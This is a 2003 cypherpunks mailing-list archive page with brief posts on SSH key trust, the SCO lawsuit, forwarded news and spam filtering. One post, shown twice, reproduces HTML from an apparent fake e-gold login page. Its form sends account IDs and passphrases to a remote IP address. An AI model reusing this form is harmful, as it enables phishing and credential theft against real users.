September 2003 - cypherpunks-legacy

a study in efectiveness of medication in Corralitos area
by An Metet 07 Sep '03

07 Sep '03

http://recall.archive.org/?query=tim+may&search=go&afterMonth=1&afterYear=1…

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Re: Getting certificates.
by James A. Donald 07 Sep '03

07 Sep '03

-- James A. Donald: > > > > SSH server public/private keys are widely deployed. > > > > PKI public keys are not. Reason is that each SSH > > > > server just whips up its own keys without asking > > > > anyone's permission, or getting any certificates. Eric Murray: > > > ..which means that it [ssh-- ericm] still requires an OOB > > > authentication. (or blinding typing 'yes' and ignoring > > > the consequences). But that's another subject. James A. Donald: > > Not true. Think about what would happen if you tried a > > man in the middle attack on an SSH server. On 5 Sep 2003 at 10:47, Eric Murray wrote: > you'd get the victim's session: No you will not, because the "victim"'s ssh client will immediately detect that the uncertified public key is different from the last time he logged in -- which is why he will not be a victim. In practice, certification is only useful for governments to monitor us, which is why so few people use it -- not because they are worried about government monitoring, but because there no benefit in it for the end user. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG iPa66kCgZYuVbwU8o3SYbR0jE6eUaJfpnOK8I7gd 4GzIVQBL8Is5mMcQ0VkDC+3TEoasePfzJK+k+NbRk

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The Catheter and the Blizzard
by Major Variola (ret) 07 Sep '03

07 Sep '03

>>The obvious example is Unix, in its variants including Linux, despite the attempt by SCO to collect $1000 per CPU or whatever silly number they have floated in their lawsuits.<< Anyone discussing this particular bit of corporate hallucination is encouraged to put Frank Zappa's "Penguin in Bondage" track on their phonograph...

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Charted death of cypherpunks
by Morlock Elloi 07 Sep '03

07 Sep '03

http://recall.archive.org/?query=cypherpunks&search=go&afterMonth=1&afterYe… (the above URL should be all in one line, of course) ===== end (of original message) Y-a*h*o-o (yes, they scan for this) spam follows: __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com

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Making fake e-gold sites submit...
by Anonymous 07 Sep '03

07 Sep '03

save on desktop as anything.html as plain text. Then run. me <html><head> <script language="javascript">  </script> </head> <body onload="popup();"> <center> <form name="formname" method="post" action="http://211.217.224.102:4901/login/login.php" target="new"> <input type="text" name="AccountID" length="20" maxlength="40" size="25"><br> <input taborder=2 tabindex=2 type="text" name="PassPhrase" maxlength="64" size="32" autocomplete="off"> <input taborder=3 tabindex=3 type="hidden" name="Turing" maxlength="10" size="10" autocomplete="off" value="921224"> <input type="hidden" name="jumbo" value=3029> <input type="submit" name="Submit" value="Login"> <input notab type="checkbox" name="StoreMyNumber" value="checkbox" checked> <input type="button" name="x" value="Stop it!" onclick="turn();"> </form> </center> </body> </html>

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Making fake e-gold sites submit...
by Anonymous 07 Sep '03

07 Sep '03

save on desktop as anything.html as plain text. Then run. me <html><head> <script language="javascript">  </script> </head> <body onload="popup();"> <center> <form name="formname" method="post" action="http://211.217.224.102:4901/login/login.php" target="new"> <input type="text" name="AccountID" length="20" maxlength="40" size="25"><br> <input taborder=2 tabindex=2 type="text" name="PassPhrase" maxlength="64" size="32" autocomplete="off"> <input taborder=3 tabindex=3 type="hidden" name="Turing" maxlength="10" size="10" autocomplete="off" value="921224"> <input type="hidden" name="jumbo" value=3029> <input type="submit" name="Submit" value="Login"> <input notab type="checkbox" name="StoreMyNumber" value="checkbox" checked> <input type="button" name="x" value="Stop it!" onclick="turn();"> </form> </center> </body> </html>

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[cdr] Mercury News | 09/06/2003 | Sobering report on jobs (fwd)
by Jim Choate 06 Sep '03

06 Sep '03

The free market is dead, long live the free market! http://www.siliconvalley.com/mld/mercurynews/business/6707114.htm -- -- ravage(a)ssz.com jchoate(a)open-forge.com www.ssz.com www.open-forge.com

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[cdr] Carlisle Barracks blocks Web site (fwd)
by Jim Choate 06 Sep '03

06 Sep '03

http://pennlive.com/news/patriotnews/index.ssf?/xml/story.ssf/html_standard… -- -- ravage(a)ssz.com jchoate(a)open-forge.com www.ssz.com www.open-forge.com

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[cdr] Slashdot | RIAA Parses 'P2P' As 'Peer 2 Porn' (fwd)
by Jim Choate 06 Sep '03

06 Sep '03

Oh crap! http://yro.slashdot.org/yro/03/09/06/1911237.shtml?tid=103&tid=153&tid=158&… -- -- ravage(a)ssz.com jchoate(a)open-forge.com www.ssz.com www.open-forge.com

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Re: Random musing about words and spam
by Major Variola (ret) 06 Sep '03

06 Sep '03

At 09:09 PM 9/4/03 -0700, Eric Murray wrote: >(it's one of >about 200 checks my program makes). Can we assume that the spam is generated by regexp-type programs? If so, are there good methods for inferring the regexp from examples, and using this to infer spamfiltering rules? Good project for a machine learning type.

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